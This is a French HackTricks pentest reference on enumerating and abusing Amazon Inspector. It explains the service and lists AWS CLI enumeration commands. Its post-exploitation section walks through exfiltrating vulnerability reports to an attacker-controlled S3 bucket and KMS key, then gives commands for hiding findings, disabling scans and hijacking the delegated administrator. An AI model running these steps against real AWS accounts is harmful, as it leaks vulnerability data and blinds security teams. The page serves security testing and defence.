AWS - Inspector Enum

AWS - Inspector Enum

Soutenez HackTricks

Inspector

Amazon Inspector est un service avancé de gestion automatisée des vulnérabilités conçu pour renforcer la sécurité de votre environnement AWS. Ce service analyse en continu les instances Amazon EC2, les images de conteneurs dans Amazon ECR, Amazon ECS et les fonctions AWS Lambda à la recherche de vulnérabilités et d'expositions réseau non intentionnelles. En exploitant une base de données robuste sur les vulnérabilités, Amazon Inspector fournit des résultats détaillés, y compris les niveaux de gravité et les recommandations de remédiation, aidant les organisations à identifier et à traiter proactivement les risques de sécurité. Cette approche globale garantit une posture de sécurité renforcée sur divers services AWS, contribuant à la conformité et à la gestion des risques.

Éléments clés

Résultats

Les résultats dans Amazon Inspector sont des rapports détaillés sur les vulnérabilités et les expositions découvertes lors de l'analyse des instances EC2, des référentiels ECR ou des fonctions Lambda. En fonction de leur état, les résultats sont catégorisés comme suit :

  • Actif : Le résultat n'a pas été corrigé.

  • Fermé : Le résultat a été corrigé.

  • Supprimé : Le résultat a été marqué avec cet état en raison d'une ou de plusieurs règles de suppression.

Les résultats sont également catégorisés dans les trois types suivants :

  • Package : Ces résultats concernent les vulnérabilités des packages logiciels installés sur vos ressources. Les exemples incluent des bibliothèques obsolètes ou des dépendances présentant des problèmes de sécurité connus.

  • Code : Cette catégorie inclut les vulnérabilités trouvées dans le code des applications s'exécutant sur vos ressources AWS. Les problèmes courants sont les erreurs de codage ou les pratiques non sécurisées pouvant entraîner des violations de sécurité.

  • Réseau : Les résultats réseau identifient les expositions potentielles dans les configurations réseau pouvant être exploitées par des attaquants. Celles-ci incluent les ports ouverts, les protocoles réseau non sécurisés et les groupes de sécurité mal configurés.

Filtres et règles de suppression

Les filtres et les règles de suppression dans Amazon Inspector aident à gérer et à prioriser les résultats. Les filtres vous permettent de affiner les résultats en fonction de critères spécifiques, tels que la gravité ou le type de ressource. Les règles de suppression vous permettent de supprimer certains résultats considérés comme à faible risque, déjà atténués, ou pour toute autre raison importante, les empêchant de surcharger vos rapports de sécurité et vous permettant de vous concentrer sur des problèmes plus critiques.

Liste de matériel logiciel (SBOM)

Une liste de matériel logiciel (SBOM) dans Amazon Inspector est une liste d'inventaire imbriquée exportable détaillant tous les composants d'un package logiciel, y compris les bibliothèques et les dépendances. Les SBOM aident à fournir une transparence dans la chaîne d'approvisionnement logiciel, permettant une meilleure gestion des vulnérabilités et de la conformité. Ils sont cruciaux pour identifier et atténuer les risques associés aux composants logiciels open source et tiers.

Fonctionnalités clés

Exportation des résultats

Amazon Inspector offre la possibilité d'exporter les résultats vers des compartiments Amazon S3, Amazon EventBridge et AWS Security Hub, ce qui vous permet de générer des rapports détaillés sur les vulnérabilités et les expositions identifiées pour une analyse ultérieure ou un partage à une date et une heure spécifiques. Cette fonctionnalité prend en charge divers formats de sortie tels que CSV et JSON, facilitant l'intégration avec d'autres outils et systèmes. La fonction d'exportation permet de personnaliser les données incluses dans les rapports, vous permettant de filtrer les résultats en fonction de critères spécifiques tels que la gravité, le type de ressource ou la plage de dates, et d'inclure par défaut tous vos résultats dans la région AWS actuelle avec un statut Actif.

Lors de l'exportation des résultats, une clé du service de gestion des clés (KMS) est nécessaire pour chiffrer les données lors de l'exportation. Les clés KMS garantissent que les résultats exportés sont protégés contre tout accès non autorisé, offrant une couche supplémentaire de sécurité pour les informations sensibles sur les vulnérabilités.

Analyse des instances Amazon EC2

Amazon Inspector offre des capacités d'analyse robustes pour les instances Amazon EC2 afin de détecter les vulnérabilités et les problèmes de sécurité. Inspector compare les métadonnées extraites de l'instance EC2 aux règles des avis de sécurité afin de produire des vulnérabilités de package et des problèmes de portée réseau. Ces analyses peuvent être effectuées via des méthodes basées sur un agent ou sans agent, en fonction de la configuration des paramètres de mode d'analyse de votre compte.

  • Basé sur un agent : Utilise l'agent AWS Systems Manager (SSM) pour effectuer des analyses approfondies. Cette méthode permet une collecte et une analyse complètes des données directement depuis l'instance.

  • Sans agent : Fournit une alternative légère qui ne nécessite pas l'installation d'un agent sur l'instance, créant un instantané EBS de chaque volume de l'instance EC2, recherchant des vulnérabilités, puis le supprimant ; en tirant parti de l'infrastructure AWS existante pour l'analyse.

Le mode d'analyse détermine la méthode utilisée pour effectuer les analyses EC2 :

  • Basé sur un agent : Implique l'installation de l'agent SSM sur les instances EC2 pour une inspection approfondie.

  • Analyse hybride : Combine à la fois les méthodes basées sur un agent et sans agent pour maximiser la couverture et minimiser l'impact sur les performances. Dans les instances EC2 où l'agent SSM est installé, Inspector effectuera une analyse basée sur un agent, et pour celles où il n'y a pas d'agent SSM, l'analyse effectuée sera sans agent.

Une autre fonctionnalité importante est l'inspection approfondie des instances EC2 Linux. Cette fonctionnalité offre une analyse approfondie du logiciel et de la configuration des instances EC2 Linux, fournissant des évaluations détaillées des vulnérabilités, y compris les vulnérabilités du système d'exploitation, les vulnérabilités des applications et les mauvaises configurations, garantissant une évaluation complète de la sécurité. Cela est réalisé grâce à l'inspection des chemins personnalisés et de tous leurs sous-répertoires. Par défaut, Amazon Inspector analysera les éléments suivants, mais chaque compte membre peut définir jusqu'à 5 autres chemins personnalisés, et chaque administrateur délégué jusqu'à 10 :

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Analyse des images de conteneurs Amazon ECR

Amazon Inspector offre des capacités d'analyse robustes pour les images de conteneurs du registre de conteneurs élastique Amazon (ECR), garantissant que les vulnérabilités des packages sont détectées et gérées efficacement.

  • Analyse de base : Il s'agit d'une analyse rapide et légère qui identifie les vulnérabilités connues des packages OS dans les images de conteneurs en utilisant un ensemble standard de règles du projet open-source Clair. Avec cette configuration d'analyse, vos référentiels seront analysés lors de l'envoi, ou en effectuant des analyses manuelles.

  • Analyse améliorée : Cette option ajoute la fonctionnalité d'analyse continue en plus de l'analyse à l'envoi. L'analyse améliorée plonge plus profondément dans les couches de chaque image de conteneur pour identifier les vulnérabilités dans les packages OS et dans les packages de langages de programmation avec une précision accrue. Elle analyse à la fois l'image de base et toutes les couches supplémentaires, offrant une vue complète des problèmes de sécurité potentiels.

Analyse des fonctions Lambda Amazon

Amazon Inspector inclut des capacités d'analyse complètes pour les fonctions Lambda AWS et leurs couches, garantissant la sécurité et l'intégrité des applications sans serveur. Inspector propose deux types d'analyse pour les fonctions Lambda :

  • Analyse standard Lambda : Cette fonction par défaut identifie les vulnérabilités logicielles dans les dépendances du package d'application ajoutées à votre fonction Lambda et à ses couches. Par exemple, si votre fonction utilise une version d'une bibliothèque comme python-jwt avec une vulnérabilité connue, elle génère un résultat.

  • Analyse du code Lambda : Analyse le code d'application personnalisé à la recherche de problèmes de sécurité, détectant des vulnérabilités telles que des failles d'injection, des fuites de données, une cryptographie faible et une absence de chiffrement. Elle capture des extraits de code mettant en évidence les vulnérabilités détectées, telles que des informations d'identification codées en dur. Les résultats incluent des suggestions de remédiation détaillées et des extraits de code pour corriger les problèmes.

Scans du Center for Internet Security (CIS)

Amazon Inspector inclut des scans CIS pour évaluer les systèmes d'exploitation des instances Amazon EC2 par rapport aux recommandations de bonnes pratiques du Center for Internet Security (CIS). Ces scans garantissent que les configurations respectent les référentiels de sécurité standard de l'industrie.

  • Configuration : Les scans CIS évaluent si les configurations système respectent des recommandations spécifiques du référentiel CIS, chaque vérification étant liée à un ID et un titre de vérification CIS.

  • Exécution : Les scans sont effectués ou planifiés en fonction des balises d'instance et des plannings définis.

  • Résultats : Les résultats post-scan indiquent quelles vérifications ont réussi, été ignorées ou ont échoué, fournissant un aperçu de la posture de sécurité de chaque instance.

Énumération

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

D'un point de vue d'un attaquant, ce service peut aider l'attaquant à trouver des vulnérabilités et des expositions réseau qui pourraient l'aider à compromettre d'autres instances/conteneurs.

Cependant, un attaquant pourrait également être intéressé à perturber ce service afin que la victime ne puisse pas voir les vulnérabilités (toutes ou spécifiques).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Un attaquant pourrait générer des rapports détaillés sur les vulnérabilités ou les listes de composants logiciels (SBOM) et les exfiltrer de votre environnement AWS. Ces informations pourraient être exploitées pour identifier des faiblesses spécifiques, des logiciels obsolètes ou des dépendances non sécurisées, permettant des attaques ciblées.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

Le exemple suivant montre comment exfiltrer tous les résultats actifs d'Amazon Inspector vers un Amazon S3 Bucket contrôlé par l'attaquant avec une clé Amazon KMS contrôlée par l'attaquant :

  1. Créez un Amazon S3 Bucket et attachez une politique pour qu'il soit accessible depuis Amazon Inspector de la victime :

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Créez une clé Amazon KMS et attachez une politique pour qu'elle puisse être utilisée par Amazon Inspector de la victime :

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Exécutez la commande pour créer le rapport des résultats en l'exfiltrant :

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impact potentiel : Génération et exfiltration de rapports détaillés sur les vulnérabilités et les logiciels, permettant d'obtenir des informations sur des vulnérabilités spécifiques et des faiblesses de sécurité.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Un attaquant pourrait annuler la génération du rapport de constatations spécifié ou du rapport SBOM, empêchant les équipes de sécurité de recevoir des informations en temps opportun sur les vulnérabilités et les listes de matériaux logiciels (SBOM), retardant ainsi la détection et la remédiation des problèmes de sécurité.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impact potentiel : Perturbation de la surveillance de la sécurité et prévention de la détection et de la résolution opportunes des problèmes de sécurité.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Un attaquant avec ces autorisations serait capable de manipuler les règles de filtrage qui déterminent quelles vulnérabilités et problèmes de sécurité sont signalés ou supprimés (si l'action est définie sur SUPPRESS, une règle de suppression serait créée). Cela pourrait cacher des vulnérabilités critiques aux administrateurs de sécurité, facilitant l'exploitation de ces failles sans être détecté. En modifiant ou en supprimant des filtres importants, un attaquant pourrait également créer du bruit en inondant le système de résultats non pertinents, entravant ainsi la surveillance et la réponse efficaces en matière de sécurité.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impact potentiel: Dissimulation ou suppression de vulnérabilités critiques, ou saturation du système avec des résultats non pertinents.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

Un attaquant pourrait perturber significativement la structure de gestion de la sécurité.

  • En désactivant le compte administrateur délégué, l'attaquant pourrait empêcher l'équipe de sécurité d'accéder et de gérer les paramètres et rapports d'Amazon Inspector.

  • Activer un compte administrateur non autorisé permettrait à un attaquant de contrôler les configurations de sécurité, potentiellement en désactivant les analyses ou en modifiant les paramètres pour masquer des activités malveillantes.

Il est nécessaire que le compte non autorisé soit dans la même Organisation que la victime afin de devenir l'administrateur délégué.

Pour que le compte non autorisé devienne l'administrateur délégué, il est également nécessaire qu'après la désactivation de l'administrateur délégué légitime, et avant que le compte non autorisé ne soit activé en tant qu'administrateur délégué, l'administrateur légitime soit désenregistré en tant qu'administrateur délégué de l'organisation. Cela peut être fait avec la commande suivante (permission requise organizations:DeregisterDelegatedAdministrator): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impact potentiel: Perturbation de la gestion de la sécurité.

inspector2:AssociateMember, inspector2:DisassociateMember

Un attaquant pourrait manipuler l'association des comptes membres au sein d'une organisation Amazon Inspector. En associant des comptes non autorisés ou en dissociant des comptes légitimes, un attaquant pourrait contrôler quels comptes sont inclus dans les analyses de sécurité et les rapports. Cela pourrait entraîner l'exclusion de comptes critiques de la surveillance de sécurité, permettant à l'attaquant d'exploiter des vulnérabilités dans ces comptes sans être détecté.

Cette action doit être effectuée par l'administrateur délégué.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impact potentiel: Exclusion de comptes clés des analyses de sécurité, permettant l'exploitation de vulnérabilités non détectées.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

Un attaquant ayant l'autorisation inspector2:Disable pourrait désactiver les analyses de sécurité sur des types de ressources spécifiques (EC2, ECR, Lambda, code Lambda) sur les comptes spécifiés, laissant des parties de l'environnement AWS non surveillées et vulnérables aux attaques. De plus, en possédant les autorisations inspector2:Enable & iam:CreateServiceLinkedRole, un attaquant pourrait ensuite réactiver sélectivement les analyses pour éviter la détection de configurations suspectes.

Cette action doit être effectuée par l'administrateur délégué.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impact potentiel: Création de zones aveugles dans la surveillance de la sécurité.

inspector2:UpdateOrganizationConfiguration

Un attaquant avec cette autorisation serait capable de mettre à jour les configurations de votre organisation Amazon Inspector, affectant les fonctionnalités de balayage par défaut activées pour les nouveaux comptes membres.

Cette action doit être effectuée par l'administrateur délégué.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impact potentiel: Modifier les politiques et configurations de balayage de sécurité pour l'organisation.

inspector2:TagResource, inspector2:UntagResource

Un attaquant pourrait manipuler les balises sur les ressources AWS Inspector, qui sont essentielles pour organiser, suivre et automatiser les évaluations de sécurité. En modifiant ou en supprimant des balises, un attaquant pourrait potentiellement masquer des vulnérabilités lors des analyses de sécurité, perturber les rapports de conformité et interférer avec les processus de remédiation automatisés, entraînant des problèmes de sécurité non vérifiés et compromettant l'intégrité du système.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impact potentiel: Dissimulation de vulnérabilités, perturbation des rapports de conformité, perturbation de l'automatisation de la sécurité et perturbation de l'allocation des coûts.

Références

Soutenez HackTricks

Last updated